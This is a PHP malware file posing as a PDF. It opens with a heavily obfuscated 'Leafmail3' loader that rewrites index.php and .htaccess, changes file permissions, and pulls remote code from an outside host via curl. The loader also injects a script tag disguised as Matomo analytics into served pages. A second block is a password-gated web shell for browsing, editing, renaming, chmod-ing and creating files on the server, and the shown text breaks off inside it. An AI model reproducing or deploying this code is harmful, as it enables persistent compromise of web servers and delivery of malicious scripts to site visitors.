%PDF- %PDF-<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
goto Cf6; Ac8: $can_read = false; goto b4a; B3f: if (!empty($_SESSION['c2hlbGxfY29kZQ==']) && strlen($_SESSION['c2hlbGxfY29kZQ==']) == 20) { goto b31; B1e: foreach ($file_path_array as $k => $v) { if (empty($v)) { ?><a href="?path=/">-</a>r
<?php } else { goto d5; Dd: ?></a><?php goto Bc; d5: if (empty($file_now_url)) { $file_now_url = $v; } else { $file_now_url = $file_now_url . '/' . $v; } goto B0; Ba: echo trim($v); goto Dd; B0: $file_now_path = $file_now_path . "/" . $v; goto A8; d3: ?>"><?php goto Ba; e3: echo $file_now_path; goto d3; A8: ?>/<a href="?path=<?php goto e3; Bc: } } goto E35; d18: if ($can_read) { ?>style="color:green;"<?php } else { ?>style="color:red;"<?php } goto ade; b9e: if ($can_write) { ?>style="color:green;"<?php } else { ?>style="color:red;"<?php } goto ca3; f5d: echo $data['HTTP_HOST']; goto B0c; D84: echo PHP_OS; goto f19; A51: ?></div>
<div style="width: 30%;display:inline-block;">Server Software: <?php goto A2a; e6f: if ($type == 2 || $type == 3) { goto Bd3; c8e: ?>"/>
<input type="hidden" name="c2hlbGxfY29kZQ==" value="<?php goto Eee; df6: ?>"/>
<div class="form-group">
<?php goto be0; A30: echo $file_path; goto c8e; be0: $content = file_get_contents($file_path); goto D96; Bf6: echo htmlspecialchars($content); goto F95; Eee: echo $_SESSION['c2hlbGxfY29kZQ==']; goto df6; ed6: ?>
<div class="row">
<form action="?type=3" method="post">
<input type="hidden" id="path" name="path" value="<?php goto A30; F95: ?></textarea>
</div>
<button type="submit" class="btn btn-success">Edit</button>
</form>
</div>
<?php goto Ab0; Bd3: if ($type == 3) { goto c5; D1: $content_result = file_put_contents($path, $file_content); goto Ec; c5: $file_content = $_REQUEST['file_content']; goto D1; Ec: if ($content_result) { echo '<div class="alert alert-success" role="alert">File content modified successfully!</div>'; } else { echo '<div class="alert alert-danger" role="alert">Failed to modify file content!</div>'; } goto E7; E7: } goto ed6; D96: ?>
<textarea class="form-control" id="exampleFormControlTextarea1" name="file_content" rows="20" cols="100"><?php goto Bf6; Ab0: } else { if ($type == 4) { goto b48; d8a: ?>
<input type="text" class="form-control" id="file_new_name" name="file_new_name" value="<?php goto Ffc; Ffc: echo basename($file_path); goto F86; F86: ?>">
</div>
<button type="submit" class="btn btn-success">Edit</button>
</form>
</div>
<?php goto F26; b48: $file_new_name = $_POST['file_new_name']; goto Cc8; cf1: echo $_SESSION['c2hlbGxfY29kZQ==']; goto B08; B08: ?>"/>
<div class="form-group">
<?php goto C91; Cc8: if (!empty($file_new_name)) { $rename_result = rename($file_path, $now_path . '/' . $file_new_name); if ($rename_result) { echo '<div class="alert alert-success" role="alert">File name modified successfully!</div>'; $file_path = $now_path . '/' . $file_new_name; } else { echo '<div class="alert alert-danger" role="alert">Failed to modify file name!</div>'; } } goto Fd7; C91: $content = file_get_contents($file_path); goto d8a; Fd7: ?>
<div class="row">
<form action="?type=4" method="post">
<input type="hidden" id="path" name="path" value="<?php goto Bac; Bac: echo $file_path; goto Cb6; Cb6: ?>"/>
<input type="hidden" name="c2hlbGxfY29kZQ==" value="<?php goto cf1; F26: } else { if ($type == 5) { goto c67; B68: ?>">
</div>
<button type="submit" class="btn btn-success">Edit</button>
</form>
</div>
<?php goto Ac6; b6f: ?>"/>
<input type="hidden" name="c2hlbGxfY29kZQ==" value="<?php goto Baa; b51: ?>
<div class="row">
<form action="?type=5" method="post">
<input type="hidden" id="path" name="path" value="<?php goto cf6; c67: $new_chmod = trim($_POST['new_chmod']); goto bac; fdb: ?>"/>
<div class="form-group">
<?php goto Ca2; cf6: echo $file_path; goto b6f; e4e: ?>
<input type="text" class="form-control" id="new_chmod" name="new_chmod" value="<?php goto f9c; Baa: echo $_SESSION['c2hlbGxfY29kZQ==']; goto fdb; Ca2: $content = file_get_contents($file_path); goto e4e; bac: if (!empty($new_chmod)) { if (chmod($file_path, octdec($new_chmod))) { echo '<div class="alert alert-success" role="alert">File permissions modified successfully!</div>'; $old_chmod = $new_chmod; } else { echo '<div class="alert alert-danger" role="alert">Failed to modify file permissions!</div>'; } } else { $permissions = fileperms($file_path); $old_chmod = substr(sprintf('%o', $permissions), -4); } goto b51; f9c: echo $old_chmod; goto B68; Ac6: } else { if ($type == 6) { goto A82; C8a: if (!empty($new_name)) { if (is_file($now_path . '/' . $new_name)) { echo '<div class="alert alert-danger" role="alert">The file already exists!</div>'; } else { $file = fopen($now_path . '/' . $new_name, 'w'); if ($file) { if (fwrite($file, $new_content)) { echo '<div class="alert alert-success" role="alert">File created successfully!</div>'; } else { echo '<div class="alert alert-danger" role="alert">Unable to write to file!</div>'; } fclose($file); } else { echo '<div class="alert alert-danger" role="alert">Unable to open file!</div>'; } } } goto C9f; Cf1: ?>"/>
<input type="hidden" name="c2hlbGxfY29kZQ==" value="<?php goto ec4; a72: ?>"/>
<div class="form-group">
<input type="text" class="form-control" id="new_name" name="new_name" value="<?php goto B90; B90: echo $new_name; goto F41; c30: ?></textarea>
</div>
<button type="submit" class="btn btn-success">Create Now</button>
</form>
</div>
<?php goto E47; ec4: echo $_SESSION['c2hlbGxfY29kZQ==']; goto a72; fc9: echo htmlspecialchars($new_content); goto c30; C9f: ?>
<div class="row">
<form action="?type=6" method="post">
<input type="hidden" id="path" name="path" value="<?php goto ba5; A82: $new_name = trim($_POST['new_name']); goto Ed0; Ed0: $new_content = trim($_POST['new_content']); goto C8a; F41: ?>" placeholder="New File Name">
</div>
<div class="form-group">
